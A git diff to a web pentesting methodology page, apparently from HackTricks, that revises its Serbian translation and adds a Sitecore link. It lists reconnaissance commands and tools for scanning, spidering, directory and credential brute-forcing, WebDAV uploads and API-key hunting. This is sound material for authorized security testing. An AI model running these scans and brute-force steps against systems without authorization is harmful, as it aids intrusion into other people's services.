diff --git a/src/SUMMARY.md b/src/SUMMARY.md index dab618a10..793c88a81 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -447,6 +447,7 @@ - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md) + - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md) - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md) - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md) - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md) @@ -929,4 +930,3 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) - diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index e38ea9277..30d2c321b 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,4 +1,4 @@ -# 80,443 - Pentesting Web Metodologija +# 80,443 - Pentesting Web Methodology {{#include ../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ Web servis je **najčešći i najopsežniji servis** i postoji mnogo **različitih tipova ranjivosti**. -**Podrazumevani port:** 80 (HTTP), 443 (HTTPS) +**Podrazumevani portovi:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,7 +17,7 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Smernice za Web API +### Web API Guidance {{#ref}} @@ -26,36 +26,36 @@ web-api-pentesting.md ## Sažetak metodologije -> U ovoj metodologiji pretpostavićemo da ćete napadati jedan domen (ili poddomen) i samo njega. Dakle, trebalo bi da primenite ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa nedeterminisanom web server instancom u scope-u. +> U ovoj metodologiji pretpostavljamo da ćete napasti jedan domen (ili poddomen) i samo njega. Dakle, treba da primenite ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa neodređenim web serverom koji je u opsegu. -- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspete da identifikujete tehnologiju. -- [ ] Postoji li neka **poznata ranjivost** za verziju te tehnologije? -- [ ] Koristi li se neka **well known tech**? Postoji li neki **koristan trik** za ekstrahovanje informacija? -- [ ] Postoji li neki **specialised scanner** koji treba pokrenuti (kao wpscan)? -- [ ] Pokrenite **general purposes scanners**. Nikad ne znate da li će nešto naći ili pružiti interesantne informacije. +- [ ] Počnite sa **identifikacijom** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju. +- [ ] Postoji li neka **poznata ranjivost** verzije tehnologije? +- [ ] Koristi li se neka **well known tech**? Postoji li neki **koristan trik** za dobijanje više informacija? +- [ ] Ima li neki **specialised scanner** za pokretanje (npr. wpscan)? +- [ ] Pokrenite **general purposes scanners**. Nikad ne znate da li će nešto pronaći ili otkriti zanimljive informacije. - [ ] Počnite sa **initial checks**: **robots**, **sitemap**, **404** error i **SSL/TLS scan** (ako je HTTPS). -- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**. -- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude spidered._ -- [ ] **Directory Brute-Forcing**: Pokušajte da brute-force-ujete sve otkrivene foldere u potrazi za novim **fajlovima** i **direktorijumima**. -- [ ] _Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, on treba da bude Brute-Forced._ -- [ ] **Backups checking**: Testirajte da li možete da nađete **backups** otkrivenih **fajlova** dodavanjem uobičajenih backup ekstenzija. -- [ ] **Brute-Force parameters**: Pokušajte da **otkrijete skrivene parametre**. -- [ ] Kada identifikujete sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezane za njih. +- [ ] Počnite sa **spidering** web stranice: vreme je da **pronađete** sve moguće **files, folders** i **parameters being used.** Takođe, proverite za **special findings**. +- [ ] _Napomena: svaki put kada se novi direktorijum otkrije tokom brute-forcing ili spidering, treba ga spider-ovati._ +- [ ] **Directory Brute-Forcing**: Pokušajte da brute force-ujete sve otkrivene foldere u potrazi za novim **files** i **directories**. +- [ ] _Napomena: svaki put kada se novi direktorijum otkrije tokom brute-forcing ili spidering, treba ga Brute-Forced._ +- [ ] **Backups checking**: Testirajte da li možete da pronađete **backups** od **otkrivenih fajlova** dodavanjem uobičajenih backup ekstenzija. +- [ ] **Brute-Force parameters**: Pokušajte da **pronađete skrivene parametre**. +- [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **user input**, proverite sve vrste **vulnerabilities** vezanih za njih. - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Server Version (Vulnerable?) -### Identify +### Identifikacija -Proverite da li postoje **poznate ranjivosti** za verziju servera koja radi.\ -**HTTP headers and cookies of the response** mogu biti veoma korisni za **identifikovanje** **tehnologija** i/ili **verzije** koja se koristi. **Nmap scan** može identifikovati verziju servera, ali korisni mogu biti i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** +Proverite da li postoje **poznate ranjivosti** za verziju servera koja se pokreće.\ +**HTTP headers** i **cookies** odgovora mogu biti veoma korisni za **identifikovanje** korišćenih **tehnologija** i/ili **verzije**. **Nmap scan** može identifikovati verziju servera, ali mogu biti korisni i alati [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Pretraži **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Potraži [**ranjivosti verzije web aplikacije**](../../generic-hacking/search-exploits.md) ### **Proveri da li postoji WAF** @@ -63,9 +63,9 @@ Pretraži **for** [**vulnerabilities of the web application** **version**](../.. - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Web tech tricks +### Trikovi za web tehnologije -Neki trikovi za pronalaženje ranjivosti u različitim dobro poznatim tehnologijama koje se koriste: +Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim **tehnologijama** koje se koriste: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -100,28 +100,30 @@ Neki trikovi za pronalaženje ranjivosti u različitim dobro poznatim tehnologij - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) +- [**Sitecore**](sitecore/index.html) -_Imajte u vidu da isti domen može koristiti različite tehnologije na različitim portovima, folderima i poddomenima._\ -Ako web aplikacija koristi neku dobro poznatu tech/platform navedenu gore ili neku drugu, ne zaboravite da pretražite Internet za nove trikove (i javite mi!). +_Imajte u vidu da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\ +Ako web aplikacija koristi neku dobro poznatu **tehnologiju/platformu** navedenu gore ili neku drugu, ne zaboravi da pretražiš Internet za nove trikove (i obavesti me!). -### Source Code Review +### Pregled izvornog koda -Ako je **source code** aplikacije dostupan na **github**, pored toga što sami možete izvršiti White box test aplikacije, postoje informacije koje mogu biti korisne za trenutni Black-Box testing: +Ako je **source code** aplikacije dostupan na **github-u**, pored izvođenja od strane tebe samog White box testa aplikacije, postoji nekoliko informacija koje bi mogle biti korisne za trenutni Black-Box testing: + +- Postoji li **Change-log** ili **Readme** ili **Version** fajl ili bilo šta sa informacijama o verziji dostupno putem weba? +- Kako i gde su sačuvani **credentials**? Postoji li neki (dostupan?) fajl sa **credentials** (usernames or passwords)? +- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** se koristi? +- Da li koristi neki **master key** za enkriptovanje nečega? Koji algoritam se koristi? +- Možete li pristupiti nekom od tih fajlova iskorišćavanjem neke ranjivosti? +- Ima li neke interesantne informacije u **github** (solved and not solved) **issues**? Ili u **commit history** (možda je neka lozinka uvedena u starom commit-u)? -- Da li postoji **Change-log ili Readme ili Version** fajl ili nešto sa **version info** dostupno preko weba? -- Kako i gde su sačuvani **credentials**? Da li postoji neki (dostupan?) **file** sa credentials (usernames ili passwords)? -- Da li su **passwords** u **plain text**, **encrypted** ili koji **hashing algorithm** je korišćen? -- Da li koristi neki **master key** za enkripciju nečega? Koji **algorithm** se koristi? -- Možete li **access any of these files** iskorišćavanjem neke ranjivosti? -- Da li ima neke interesantne informacije na github-u (solved and not solved) u **issues**? Ili u **commit history** (možda je neka **password introduced inside an old commit**)? {{#ref}} code-review-tools.md {{#endref}} -### Automatic scanners +### Automatski skeneri -#### General purpose automatic scanners +#### Skeneri opšte namene automatic scanners ```bash nikto -h whatweb -a 4 @@ -133,12 +135,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### CMS skeneri +#### CMS scanners -Ako se koristi CMS, ne zaboravite da **pokrenete skener** — možda se pronađe nešto zanimljivo: +Ako se koristi CMS, ne zaboravite da **run a scanner**, možda se pronađe nešto interesantno: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websajtove zbog bezbednosnih propusta. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sajtove za Security issues. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -148,45 +150,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> U ovoj fazi trebalo bi da već imate neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i nekoliko trikova koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki scanner. +> U ovom trenutku trebalo bi već da imate neke informacije o web serveru koji klijent koristi (ako su podaci dati) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, čak ste pronašli CMS i pokrenuli neki scanner. -## Korak-po-korak Web Application Discovery +## Otkrivanje web aplikacije korak po korak -> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom. +> Od ovog trenutka počinjemo da interagujemo sa web aplikacijom. ### Početne provere -**Default pages with interesting info:** +**Podrazumevane stranice sa zanimljivim informacijama:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Check also comments in the main and secondary pages. +- Proverite i komentare na glavnim i sekundarnim stranicama. -**Forcing errors** +**Izazivanje grešaka** -Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. +Web serveri se mogu **ponašati neočekivano** kada im se pošalju čudni podaci. Ovo može otvoriti **ranjivosti** ili dovesti do **otkrivanja osetljivih informacija**. -- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- Pristupite **lažnim stranicama** kao što su /whatever_fake.php (.aspx,.html,.etc) +- **Dodajte "\[]", "]]", i "\[["** u **cookie values** i **parameter values** da biste izazvali greške +- Generišite grešku dajući ulaz kao **`/~randomthing/%s`** na **kraju** **URL**-a +- Pokušajte **different HTTP Verbs** kao PATCH, DEBUG ili pogrešne kao FAKE -#### **Proverite da li možete da otpremate fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Proverite da li možete da otpremite fajlove (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: +Ako otkrijete da je **WebDav** **omogućen**, ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da: - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- **Otpremite fajlove** putem WebDav-a u **ostatak** **pronađenih foldera** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima. ### **SSL/TLS ranjivosti** -- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. +- Ako aplikacija **ne forsira korišćenje HTTPS-a** ni u jednom delu, onda je **ranjiva na MitM** +- Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP** — to je visoka ranjivost. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (u Bug Bounty programima verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) da ponovo proverite ranjivosti: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -195,58 +197,58 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +Informacije o SSL/TLS ranjivostima: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Pokrenite neku vrstu **spider** unutar web-a. Cilj spider-a je da **pronađe što više puteva (paths) iz testirane aplikacije**. Zbog toga treba koristiti web crawling i eksterne izvore kako biste pronašli što više validnih puteva. +Pokrenite neku vrstu **spider** unutar web-a. Cilj spidera je da **pronađe što više puteva** iz testirane aplikacije. Zato treba koristiti web crawling i eksterne izvore kako biste pronašli što više validnih puteva. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS fajlovima i eksterni izvori (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files i eksterni izvori (Archive.org, CommonCrawl.org, VirusTotal.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFider za JS fajlove i Archive.org kao eksterni izvor. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "juicy files". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete navesti fajl sa hosts i fajl sa path-ovima i meg će fetch-ovati svaki path na svakom hostu i sačuvati response. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira +- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete navesti fajl sa hosts i fajl sa putanjama i meg će dohvatiti svaku putanju na svakom hostu i sačuvati odgovor. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, predkompajlirana verzija je stara i trenutni kod se ne kompajlira - [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi eksterne provajdere (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skripta koja će naći URL-ove sa parametrima i izlistati ih. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će naći URL-ove sa parametrima i izlistati ih. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS fajlovima. Vredi pogledati i [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper za LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoint-a iz HTML source-a i embedded javascript fajlova. Korisno za bug hunter-e, red team-ere, infosec ninje. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skripta koja koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda neodržavano. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Za dati fajl (HTML) izvući će URL-ove koristeći zgodne regularne izraze da pronađe i izvuče relativne URL-ove iz "ružnih" (minified) fajlova. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Prikuplja interesantne informacije iz JS fajlova koristeći više alata. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposoban da traži nove putanje u JS fajlovima. Vredi takođe pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je wrapper za LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju endpoint-a u HTML source-u i ugrađenim javascript fajlovima. Korisno za bug hunter-e, red team-ere, infosec ninje. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lakše otkrivanje AJAX zahteva. Izgleda neodržavano. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Ako se preda fajl (HTML) izvući će URL-ove iz njega koristeći pametne regularne izraze da pronađe i ekstrahuje relativne URL-ove iz "ružnih" (minifikovanih) fajlova. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Sakuplja interesantne informacije iz JS fajlova koristeći više alata. - [**subjs**](https://github.com/lc/subjs) (go): Pronalazi JS fajlove. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve url-ove koje je strana učitala. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje više opcija iz prethodnih alata -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path-ova i parametara u JS fajlovima. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, ako postoji .js.map URL, dobije beatified JS kod -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat koji se koristi za otkrivanje endpoint-a za dati target. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrij linkove iz wayback machine (takođe download-uje response u wayback-u i traži još linkova) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawluje (čak i popunjavanjem formi) i takođe pronalazi osetljive informacije koristeći specifične regex-e. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učita stranicu u headless browser-u i ispiše sve url-ove koji su učitani za tu stranicu. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje path-ova i params u JS fajlovima. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dat .js.map URL, dobije beatified JS kod +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Alat za otkrivanje endpoint-a za dati target. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkriva linkove iz wayback machine (takođe preuzima odgovore iz wayback-a i traži više linkova) +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl-uje (čak i popunjavanjem formi) i takođe nalazi osetljive informacije koristeći specifične regex-e. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni multi-feature GUI web security Crawler/Spider dizajniran za cyber security profesionalce. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go paket i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, path-ova, sekreta i drugih interesantnih podataka iz JavaScript source koda. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoint-a** iz request-a radi kreiranja custom wordlist-e za fuzzing i enumeraciju. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go paket i [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, path-ova, secret-a i drugih interesantnih podataka iz JavaScript izvornog koda. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite extension** za **ekstrakciju parametara i endpoint-a** iz request-a za kreiranje custom wordlist-e za fuzzing i enumeraciju. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Odličan alat za ovo. - [**Crawley**](https://github.com/s0rg/crawley) (go): Ispisuje svaki link koji uspe da pronađe. ### Brute Force directories and files -Počnite sa **brute-forcing** iz root folder-a i postarajte se da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** tokom **Spidering** (možete raditi brute-forcing **rekurzivno** i dodavati na početak korišćene wordlist-e imena pronađenih direktorijuma).\ -Alati: +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ +Tools: -- **Dirb** / **Dirbuster** - Uključeni u Kali, **stari** (i **sporiji**) ali funkcionalni. Dozvoljavaju auto-signed sertifikate i rekurzivno pretraživanje. Previše spori u poređenju sa drugim opcijama. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava auto-signed sertifikate ali** podržava rekurzivno pretraživanje. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava auto-signed sertifikate, ali **nema** **rekurzivno** pretraživanje. +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider ali alat koji, dat lista pronađenih URL-ova, ukloni "duplicirane" URL-ove. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension za kreiranje liste direktorijuma iz burp history različitih stranica -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Uklanja URL-ove sa dupliciranim funkcionalnostima (bazirano na js import-ima) -- [**Chamaleon**](https://github.com/iustin24/chameleon): Koristi wapalyzer za detekciju upotrebljenih tehnologija i izbor wordlist-a koje treba koristiti. +- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports) +- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use. **Recommended dictionaries:** @@ -267,41 +269,41 @@ Alati: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Napomena: svaki put kad se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forc-ovati._ +_Imajte na umu da kad god se novi direktorijum otkrije tokom brute-forcing-a ili spideringa, treba ga Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken link-ove unutar HTML-a koji mogu biti podložni takeover-u -- **File Backups**: Kada pronađete sve fajlove, tražite backup-ove izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađi broken link-ove unutar HTML-ova koji mogu biti podložni takeover-u +- **File Backups**: Kada pronađete sve fajlove, tražite backup-e svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijante u imenovanju backupa su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Discover new parameters**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **da otkrijete skrivene parametre. Ako možete, pokušajte da tražite** skrivene parametre u svakom izvršnom web fajlu. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Proverite komentare u svim fajlovima, možete naći **credentials** ili **skrivenu funkcionalnost**. -- Ako radite **CTF**, uobičajen trik je da **sakrijete** **informacije** unutar komentara na **desnoj strani** **stranice** (koristeći **stotine** **space** karaktera tako da ne vidite podatke ako otvorite source u browser-u). Druga mogućnost je da koristite **nekoliko novih linija** i **sakrijete informaciju** u komentaru na **dnu** web stranice. -- **API keys**: Ako **pronađete bilo koji API key** postoji vodič koji pokazuje kako koristiti API key-e različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Ako nađete API key koji liči na **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključ može da pristupi. -- **S3 Buckets**: Dok obavljate spidering proverite da li je neki **subdomain** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** permisije bucket-a](buckets/index.html). +- **Comments:** Proverite komentare svih fajlova, možete pronaći **credentials** ili **skrivenu funkcionalnost**. +- Ako igrate **CTF**, "uobičajeni" trik je da se **informacije sakriju** unutar komentara sa **desne strane** stranice (koristeći stotine razmaka tako da ne vidite podatke ako 